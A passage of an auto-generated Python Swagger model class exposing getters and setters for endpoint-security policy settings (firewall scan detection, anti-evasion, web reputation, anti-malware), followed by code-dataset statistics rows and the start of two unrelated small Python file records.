:return: The firewall_setting_reconnaissance_exclude_ip_list_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_exclude_ip_list_id
@firewall_setting_reconnaissance_exclude_ip_list_id.setter
def firewall_setting_reconnaissance_exclude_ip_list_id(self, firewall_setting_reconnaissance_exclude_ip_list_id):
"""Sets the firewall_setting_reconnaissance_exclude_ip_list_id of this PolicySettings.
Reconnaissance Scan Detection - Do not perform detection on traffic coming from # noqa: E501
:param firewall_setting_reconnaissance_exclude_ip_list_id: The firewall_setting_reconnaissance_exclude_ip_list_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_exclude_ip_list_id = firewall_setting_reconnaissance_exclude_ip_list_id
@property
def platform_setting_agent_self_protection_enabled(self):
"""Gets the platform_setting_agent_self_protection_enabled of this PolicySettings. # noqa: E501
Prevent local end-users from uninstalling, stopping, or otherwise modifying the Agent # noqa: E501
:return: The platform_setting_agent_self_protection_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_agent_self_protection_enabled
@platform_setting_agent_self_protection_enabled.setter
def platform_setting_agent_self_protection_enabled(self, platform_setting_agent_self_protection_enabled):
"""Sets the platform_setting_agent_self_protection_enabled of this PolicySettings.
Prevent local end-users from uninstalling, stopping, or otherwise modifying the Agent # noqa: E501
:param platform_setting_agent_self_protection_enabled: The platform_setting_agent_self_protection_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_agent_self_protection_enabled = platform_setting_agent_self_protection_enabled
@property
def firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled(self):
"""Gets the firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled of this PolicySettings. # noqa: E501
Drop IPv6 Reserved Addresses # noqa: E501
:return: The firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled
@firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled.setter
def firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled(self, firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled):
"""Sets the firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled of this PolicySettings.
Drop IPv6 Reserved Addresses # noqa: E501
:param firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled: The firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled = firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled
@property
def firewall_setting_anti_evasion_check_fin_no_connection(self):
"""Gets the firewall_setting_anti_evasion_check_fin_no_connection of this PolicySettings. # noqa: E501
FIN packet out of connection # noqa: E501
:return: The firewall_setting_anti_evasion_check_fin_no_connection of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_check_fin_no_connection
@firewall_setting_anti_evasion_check_fin_no_connection.setter
def firewall_setting_anti_evasion_check_fin_no_connection(self, firewall_setting_anti_evasion_check_fin_no_connection):
"""Sets the firewall_setting_anti_evasion_check_fin_no_connection of this PolicySettings.
FIN packet out of connection # noqa: E501
:param firewall_setting_anti_evasion_check_fin_no_connection: The firewall_setting_anti_evasion_check_fin_no_connection of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_check_fin_no_connection = firewall_setting_anti_evasion_check_fin_no_connection
@property
def firewall_setting_engine_option_debug_packet_num_max(self):
"""Gets the firewall_setting_engine_option_debug_packet_num_max of this PolicySettings. # noqa: E501
Number of Packets to retain in Debug Mode # noqa: E501
:return: The firewall_setting_engine_option_debug_packet_num_max of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_debug_packet_num_max
@firewall_setting_engine_option_debug_packet_num_max.setter
def firewall_setting_engine_option_debug_packet_num_max(self, firewall_setting_engine_option_debug_packet_num_max):
"""Sets the firewall_setting_engine_option_debug_packet_num_max of this PolicySettings.
Number of Packets to retain in Debug Mode # noqa: E501
:param firewall_setting_engine_option_debug_packet_num_max: The firewall_setting_engine_option_debug_packet_num_max of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_debug_packet_num_max = firewall_setting_engine_option_debug_packet_num_max
@property
def firewall_setting_engine_option_bypass_cisco_waas_connections_enabled(self):
"""Gets the firewall_setting_engine_option_bypass_cisco_waas_connections_enabled of this PolicySettings. # noqa: E501
Bypass Cisco WAAS Connections # noqa: E501
:return: The firewall_setting_engine_option_bypass_cisco_waas_connections_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_bypass_cisco_waas_connections_enabled
@firewall_setting_engine_option_bypass_cisco_waas_connections_enabled.setter
def firewall_setting_engine_option_bypass_cisco_waas_connections_enabled(self, firewall_setting_engine_option_bypass_cisco_waas_connections_enabled):
"""Sets the firewall_setting_engine_option_bypass_cisco_waas_connections_enabled of this PolicySettings.
Bypass Cisco WAAS Connections # noqa: E501
:param firewall_setting_engine_option_bypass_cisco_waas_connections_enabled: The firewall_setting_engine_option_bypass_cisco_waas_connections_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_bypass_cisco_waas_connections_enabled = firewall_setting_engine_option_bypass_cisco_waas_connections_enabled
@property
def firewall_setting_reconnaissance_enabled(self):
"""Gets the firewall_setting_reconnaissance_enabled of this PolicySettings. # noqa: E501
Reconnaissance Scan Detection - Enabled # noqa: E501
:return: The firewall_setting_reconnaissance_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_enabled
@firewall_setting_reconnaissance_enabled.setter
def firewall_setting_reconnaissance_enabled(self, firewall_setting_reconnaissance_enabled):
"""Sets the firewall_setting_reconnaissance_enabled of this PolicySettings.
Reconnaissance Scan Detection - Enabled # noqa: E501
:param firewall_setting_reconnaissance_enabled: The firewall_setting_reconnaissance_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_enabled = firewall_setting_reconnaissance_enabled
@property
def platform_setting_heartbeat_local_time_shift_alert_threshold(self):
"""Gets the platform_setting_heartbeat_local_time_shift_alert_threshold of this PolicySettings. # noqa: E501
Maximum change (in minutes) of the local system time on the computer between heartbeats before an alert is raised # noqa: E501
:return: The platform_setting_heartbeat_local_time_shift_alert_threshold of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_heartbeat_local_time_shift_alert_threshold
@platform_setting_heartbeat_local_time_shift_alert_threshold.setter
def platform_setting_heartbeat_local_time_shift_alert_threshold(self, platform_setting_heartbeat_local_time_shift_alert_threshold):
"""Sets the platform_setting_heartbeat_local_time_shift_alert_threshold of this PolicySettings.
Maximum change (in minutes) of the local system time on the computer between heartbeats before an alert is raised # noqa: E501
:param platform_setting_heartbeat_local_time_shift_alert_threshold: The platform_setting_heartbeat_local_time_shift_alert_threshold of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_heartbeat_local_time_shift_alert_threshold = platform_setting_heartbeat_local_time_shift_alert_threshold
@property
def anti_malware_setting_file_hash_md5_enabled(self):
"""Gets the anti_malware_setting_file_hash_md5_enabled of this PolicySettings. # noqa: E501
MD5 # noqa: E501
:return: The anti_malware_setting_file_hash_md5_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_file_hash_md5_enabled
@anti_malware_setting_file_hash_md5_enabled.setter
def anti_malware_setting_file_hash_md5_enabled(self, anti_malware_setting_file_hash_md5_enabled):
"""Sets the anti_malware_setting_file_hash_md5_enabled of this PolicySettings.
MD5 # noqa: E501
:param anti_malware_setting_file_hash_md5_enabled: The anti_malware_setting_file_hash_md5_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_file_hash_md5_enabled = anti_malware_setting_file_hash_md5_enabled
@property
def firewall_setting_reconnaissance_detect_network_or_port_scan_enabled(self):
"""Gets the firewall_setting_reconnaissance_detect_network_or_port_scan_enabled of this PolicySettings. # noqa: E501
Network or Port Scan - Enabled # noqa: E501
:return: The firewall_setting_reconnaissance_detect_network_or_port_scan_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_detect_network_or_port_scan_enabled
@firewall_setting_reconnaissance_detect_network_or_port_scan_enabled.setter
def firewall_setting_reconnaissance_detect_network_or_port_scan_enabled(self, firewall_setting_reconnaissance_detect_network_or_port_scan_enabled):
"""Sets the firewall_setting_reconnaissance_detect_network_or_port_scan_enabled of this PolicySettings.
Network or Port Scan - Enabled # noqa: E501
:param firewall_setting_reconnaissance_detect_network_or_port_scan_enabled: The firewall_setting_reconnaissance_detect_network_or_port_scan_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_detect_network_or_port_scan_enabled = firewall_setting_reconnaissance_detect_network_or_port_scan_enabled
@property
def firewall_setting_engine_option_silent_tcp_connection_drop_enabled(self):
"""Gets the firewall_setting_engine_option_silent_tcp_connection_drop_enabled of this PolicySettings. # noqa: E501
Silent TCP Connection Drop # noqa: E501
:return: The firewall_setting_engine_option_silent_tcp_connection_drop_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_silent_tcp_connection_drop_enabled
@firewall_setting_engine_option_silent_tcp_connection_drop_enabled.setter
def firewall_setting_engine_option_silent_tcp_connection_drop_enabled(self, firewall_setting_engine_option_silent_tcp_connection_drop_enabled):
"""Sets the firewall_setting_engine_option_silent_tcp_connection_drop_enabled of this PolicySettings.
Silent TCP Connection Drop # noqa: E501
:param firewall_setting_engine_option_silent_tcp_connection_drop_enabled: The firewall_setting_engine_option_silent_tcp_connection_drop_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_silent_tcp_connection_drop_enabled = firewall_setting_engine_option_silent_tcp_connection_drop_enabled
@property
def firewall_setting_engine_option_block_same_src_dst_ip_enabled(self):
"""Gets the firewall_setting_engine_option_block_same_src_dst_ip_enabled of this PolicySettings. # noqa: E501
Block Same Src-Dest IP Address # noqa: E501
:return: The firewall_setting_engine_option_block_same_src_dst_ip_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_block_same_src_dst_ip_enabled
@firewall_setting_engine_option_block_same_src_dst_ip_enabled.setter
def firewall_setting_engine_option_block_same_src_dst_ip_enabled(self, firewall_setting_engine_option_block_same_src_dst_ip_enabled):
"""Sets the firewall_setting_engine_option_block_same_src_dst_ip_enabled of this PolicySettings.
Block Same Src-Dest IP Address # noqa: E501
:param firewall_setting_engine_option_block_same_src_dst_ip_enabled: The firewall_setting_engine_option_block_same_src_dst_ip_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_block_same_src_dst_ip_enabled = firewall_setting_engine_option_block_same_src_dst_ip_enabled
@property
def firewall_setting_engine_option_force_allow_dhcp_dns(self):
"""Gets the firewall_setting_engine_option_force_allow_dhcp_dns of this PolicySettings. # noqa: E501
Force Allow DHCP DNS # noqa: E501
:return: The firewall_setting_engine_option_force_allow_dhcp_dns of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_force_allow_dhcp_dns
@firewall_setting_engine_option_force_allow_dhcp_dns.setter
def firewall_setting_engine_option_force_allow_dhcp_dns(self, firewall_setting_engine_option_force_allow_dhcp_dns):
"""Sets the firewall_setting_engine_option_force_allow_dhcp_dns of this PolicySettings.
Force Allow DHCP DNS # noqa: E501
:param firewall_setting_engine_option_force_allow_dhcp_dns: The firewall_setting_engine_option_force_allow_dhcp_dns of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_force_allow_dhcp_dns = firewall_setting_engine_option_force_allow_dhcp_dns
@property
def firewall_setting_reconnaissance_include_ip_list_id(self):
"""Gets the firewall_setting_reconnaissance_include_ip_list_id of this PolicySettings. # noqa: E501
Reconnaissance Scan Detection - Computers/Networks on which to perform detection # noqa: E501
:return: The firewall_setting_reconnaissance_include_ip_list_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_include_ip_list_id
@firewall_setting_reconnaissance_include_ip_list_id.setter
def firewall_setting_reconnaissance_include_ip_list_id(self, firewall_setting_reconnaissance_include_ip_list_id):
"""Sets the firewall_setting_reconnaissance_include_ip_list_id of this PolicySettings.
Reconnaissance Scan Detection - Computers/Networks on which to perform detection # noqa: E501
:param firewall_setting_reconnaissance_include_ip_list_id: The firewall_setting_reconnaissance_include_ip_list_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_include_ip_list_id = firewall_setting_reconnaissance_include_ip_list_id
@property
def firewall_setting_engine_options_enabled(self):
"""Gets the firewall_setting_engine_options_enabled of this PolicySettings. # noqa: E501
Use custom driver settings # noqa: E501
:return: The firewall_setting_engine_options_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_options_enabled
@firewall_setting_engine_options_enabled.setter
def firewall_setting_engine_options_enabled(self, firewall_setting_engine_options_enabled):
"""Sets the firewall_setting_engine_options_enabled of this PolicySettings.
Use custom driver settings # noqa: E501
:param firewall_setting_engine_options_enabled: The firewall_setting_engine_options_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_options_enabled = firewall_setting_engine_options_enabled
@property
def firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration(self):
"""Gets the firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration of this PolicySettings. # noqa: E501
TCP SYNFIN Scan - Block Traffic # noqa: E501
:return: The firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration
@firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration.setter
def firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration(self, firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration):
"""Sets the firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration of this PolicySettings.
TCP SYNFIN Scan - Block Traffic # noqa: E501
:param firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration: The firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration = firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration
@property
def web_reputation_setting_security_block_untested_pages_enabled(self):
"""Gets the web_reputation_setting_security_block_untested_pages_enabled of this PolicySettings. # noqa: E501
Block Untested Pages # noqa: E501
:return: The web_reputation_setting_security_block_untested_pages_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_security_block_untested_pages_enabled
@web_reputation_setting_security_block_untested_pages_enabled.setter
def web_reputation_setting_security_block_untested_pages_enabled(self, web_reputation_setting_security_block_untested_pages_enabled):
"""Sets the web_reputation_setting_security_block_untested_pages_enabled of this PolicySettings.
Block Untested Pages # noqa: E501
:param web_reputation_setting_security_block_untested_pages_enabled: The web_reputation_setting_security_block_untested_pages_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_security_block_untested_pages_enabled = web_reputation_setting_security_block_untested_pages_enabled
@property
def web_reputation_setting_allowed_url_domains(self):
"""Gets the web_reputation_setting_allowed_url_domains of this PolicySettings. # noqa: E501
Allowed Domain URLs # noqa: E501
:return: The web_reputation_setting_allowed_url_domains of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_allowed_url_domains
@web_reputation_setting_allowed_url_domains.setter
def web_reputation_setting_allowed_url_domains(self, web_reputation_setting_allowed_url_domains):
"""Sets the web_reputation_setting_allowed_url_domains of this PolicySettings.
Allowed Domain URLs # noqa: E501
:param web_reputation_setting_allowed_url_domains: The web_reputation_setting_allowed_url_domains of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_allowed_url_domains = web_reputation_setting_allowed_url_domains
@property
def firewall_setting_event_log_file_ignore_source_ip_list_id(self):
"""Gets the firewall_setting_event_log_file_ignore_source_ip_list_id of this PolicySettings. # noqa: E501
Do not record events with source IP of # noqa: E501
:return: The firewall_setting_event_log_file_ignore_source_ip_list_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_event_log_file_ignore_source_ip_list_id
@firewall_setting_event_log_file_ignore_source_ip_list_id.setter
def firewall_setting_event_log_file_ignore_source_ip_list_id(self, firewall_setting_event_log_file_ignore_source_ip_list_id):
"""Sets the firewall_setting_event_log_file_ignore_source_ip_list_id of this PolicySettings.
Do not record events with source IP of # noqa: E501
:param firewall_setting_event_log_file_ignore_source_ip_list_id: The firewall_setting_event_log_file_ignore_source_ip_list_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_event_log_file_ignore_source_ip_list_id = firewall_setting_event_log_file_ignore_source_ip_list_id
@property
def firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled(self):
"""Gets the firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled of this PolicySettings. # noqa: E501
Drop IPv6 Fragments Lower Than minimum MTU # noqa: E501
:return: The firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled
@firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled.setter
def firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled(self, firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled):
"""Sets the firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled of this PolicySettings.
Drop IPv6 Fragments Lower Than minimum MTU # noqa: E501
:param firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled: The firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled = firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled
@property
def platform_setting_auto_assign_new_intrusion_prevention_rules_enabled(self):
"""Gets the platform_setting_auto_assign_new_intrusion_prevention_rules_enabled of this PolicySettings. # noqa: E501
Automatically assign new Intrusion Prevention Rules as required by updated Application Types and Intrusion Prevention Rule dependencies # noqa: E501
:return: The platform_setting_auto_assign_new_intrusion_prevention_rules_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_auto_assign_new_intrusion_prevention_rules_enabled
@platform_setting_auto_assign_new_intrusion_prevention_rules_enabled.setter
def platform_setting_auto_assign_new_intrusion_prevention_rules_enabled(self, platform_setting_auto_assign_new_intrusion_prevention_rules_enabled):
"""Sets the platform_setting_auto_assign_new_intrusion_prevention_rules_enabled of this PolicySettings.
Automatically assign new Intrusion Prevention Rules as required by updated Application Types and Intrusion Prevention Rule dependencies # noqa: E501
:param platform_setting_auto_assign_new_intrusion_prevention_rules_enabled: The platform_setting_auto_assign_new_intrusion_prevention_rules_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_auto_assign_new_intrusion_prevention_rules_enabled = platform_setting_auto_assign_new_intrusion_prevention_rules_enabled
@property
def firewall_setting_anti_evasion_check_rst_no_connection(self):
"""Gets the firewall_setting_anti_evasion_check_rst_no_connection of this PolicySettings. # noqa: E501
RST packet out of connection # noqa: E501
:return: The firewall_setting_anti_evasion_check_rst_no_connection of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_check_rst_no_connection
@firewall_setting_anti_evasion_check_rst_no_connection.setter
def firewall_setting_anti_evasion_check_rst_no_connection(self, firewall_setting_anti_evasion_check_rst_no_connection):
"""Sets the firewall_setting_anti_evasion_check_rst_no_connection of this PolicySettings.
RST packet out of connection # noqa: E501
:param firewall_setting_anti_evasion_check_rst_no_connection: The firewall_setting_anti_evasion_check_rst_no_connection of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_check_rst_no_connection = firewall_setting_anti_evasion_check_rst_no_connection
@property
def web_reputation_setting_blocked_urls(self):
"""Gets the web_reputation_setting_blocked_urls of this PolicySettings. # noqa: E501
Blocked Page URLs # noqa: E501
:return: The web_reputation_setting_blocked_urls of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_blocked_urls
@web_reputation_setting_blocked_urls.setter
def web_reputation_setting_blocked_urls(self, web_reputation_setting_blocked_urls):
"""Sets the web_reputation_setting_blocked_urls of this PolicySettings.
Blocked Page URLs # noqa: E501
:param web_reputation_setting_blocked_urls: The web_reputation_setting_blocked_urls of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_blocked_urls = web_reputation_setting_blocked_urls
@property
def platform_setting_combined_mode_network_group_protection_source(self):
"""Gets the platform_setting_combined_mode_network_group_protection_source of this PolicySettings. # noqa: E501
Network Combined Mode Affinity # noqa: E501
:return: The platform_setting_combined_mode_network_group_protection_source of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_combined_mode_network_group_protection_source
@platform_setting_combined_mode_network_group_protection_source.setter
def platform_setting_combined_mode_network_group_protection_source(self, platform_setting_combined_mode_network_group_protection_source):
"""Sets the platform_setting_combined_mode_network_group_protection_source of this PolicySettings.
Network Combined Mode Affinity # noqa: E501
:param platform_setting_combined_mode_network_group_protection_source: The platform_setting_combined_mode_network_group_protection_source of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_combined_mode_network_group_protection_source = platform_setting_combined_mode_network_group_protection_source
@property
def web_reputation_setting_alerting_enabled(self):
"""Gets the web_reputation_setting_alerting_enabled of this PolicySettings. # noqa: E501
Alert # noqa: E501
:return: The web_reputation_setting_alerting_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_alerting_enabled
@web_reputation_setting_alerting_enabled.setter
def web_reputation_setting_alerting_enabled(self, web_reputation_setting_alerting_enabled):
"""Sets the web_reputation_setting_alerting_enabled of this PolicySettings.
Alert # noqa: E501
:param web_reputation_setting_alerting_enabled: The web_reputation_setting_alerting_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_alerting_enabled = web_reputation_setting_alerting_enabled
@property
def anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled(self):
"""Gets the anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled of this PolicySettings. # noqa: E501
Anti-Malware NSX Only Tag on Failure to Remediate # noqa: E501
:return: The anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled
@anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled.setter
def anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled(self, anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled):
"""Sets the anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled of this PolicySettings.
Anti-Malware NSX Only Tag on Failure to Remediate # noqa: E501
:param anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled: The anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled = anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled
@property
def integrity_monitoring_setting_cpu_usage_level(self):
"""Gets the integrity_monitoring_setting_cpu_usage_level of this PolicySettings. # noqa: E501
Integrity Monitoring CPU Usage Level: # noqa: E501
:return: The integrity_monitoring_setting_cpu_usage_level of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._integrity_monitoring_setting_cpu_usage_level
@integrity_monitoring_setting_cpu_usage_level.setter
def integrity_monitoring_setting_cpu_usage_level(self, integrity_monitoring_setting_cpu_usage_level):
"""Sets the integrity_monitoring_setting_cpu_usage_level of this PolicySettings.
Integrity Monitoring CPU Usage Level: # noqa: E501
:param integrity_monitoring_setting_cpu_usage_level: The integrity_monitoring_setting_cpu_usage_level of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._integrity_monitoring_setting_cpu_usage_level = integrity_monitoring_setting_cpu_usage_level
@property
def platform_setting_auto_update_anti_malware_engine_enabled(self):
"""Gets the platform_setting_auto_update_anti_malware_engine_enabled of this PolicySettings. # noqa: E501
Automatically update anti-malware engine # noqa: E501
:return: The platform_setting_auto_update_anti_malware_engine_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_auto_update_anti_malware_engine_enabled
@platform_setting_auto_update_anti_malware_engine_enabled.setter
def platform_setting_auto_update_anti_malware_engine_enabled(self, platform_setting_auto_update_anti_malware_engine_enabled):
"""Sets the platform_setting_auto_update_anti_malware_engine_enabled of this PolicySettings.
Automatically update anti-malware engine # noqa: E501
:param platform_setting_auto_update_anti_malware_engine_enabled: The platform_setting_auto_update_anti_malware_engine_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_auto_update_anti_malware_engine_enabled = platform_setting_auto_update_anti_malware_engine_enabled
@property
def intrusion_prevention_setting_combined_mode_protection_source(self):
"""Gets the intrusion_prevention_setting_combined_mode_protection_source of this PolicySettings. # noqa: E501
Intrusion Prevention # noqa: E501
:return: The intrusion_prevention_setting_combined_mode_protection_source of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._intrusion_prevention_setting_combined_mode_protection_source
@intrusion_prevention_setting_combined_mode_protection_source.setter
def intrusion_prevention_setting_combined_mode_protection_source(self, intrusion_prevention_setting_combined_mode_protection_source):
"""Sets the intrusion_prevention_setting_combined_mode_protection_source of this PolicySettings.
Intrusion Prevention # noqa: E501
:param intrusion_prevention_setting_combined_mode_protection_source: The intrusion_prevention_setting_combined_mode_protection_source of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._intrusion_prevention_setting_combined_mode_protection_source = intrusion_prevention_setting_combined_mode_protection_source
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(PolicySettings, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, PolicySettings):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
| 62.395663
| 13,539
| 0.801152
| 45,900
| 388,413
| 6.164248
| 0.016993
| 0.11886
| 0.086761
| 0.116039
| 0.953524
| 0.938474
| 0.906057
| 0.849674
| 0.770671
| 0.681567
| 0
| 0.011823
| 0.160558
| 388,413
| 6,224
| 13,540
| 62.405688
| 0.855955
| 0.341889
| 0
| 0.090094
| 0
| 0
| 0.15965
| 0.148252
| 0
| 0
| 0
| 0
| 0
| 1
| 0.181003
| false
| 0.016714
| 0.001631
| 0
| 0.275581
| 0.013453
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
86b9275690c980f034c15c057dbe0055fe720ff3
| 44
|
py
|
Python
|
yageoparts/__init__.py
|
moritz-meier/yageoparts
|
b2a8491f21d852a9929c9575dd20215a72c9a46d
|
[
"MIT"
] | null | null | null |
yageoparts/__init__.py
|
moritz-meier/yageoparts
|
b2a8491f21d852a9929c9575dd20215a72c9a46d
|
[
"MIT"
] | null | null | null |
yageoparts/__init__.py
|
moritz-meier/yageoparts
|
b2a8491f21d852a9929c9575dd20215a72c9a46d
|
[
"MIT"
] | null | null | null |
import yageoparts.web
import yageoparts.gen
| 14.666667
| 21
| 0.863636
| 6
| 44
| 6.333333
| 0.666667
| 0.842105
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.090909
| 44
| 2
| 22
| 22
| 0.95
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
86e528afbcfbacc1411d8ec0d7fe7892630b4c4d
| 225
|
py
|
Python
|
tests/test_utils.py
|
Mapkin/wordutils
|
029e3a2254a8ba273dc735749ef1dafc45fea67a
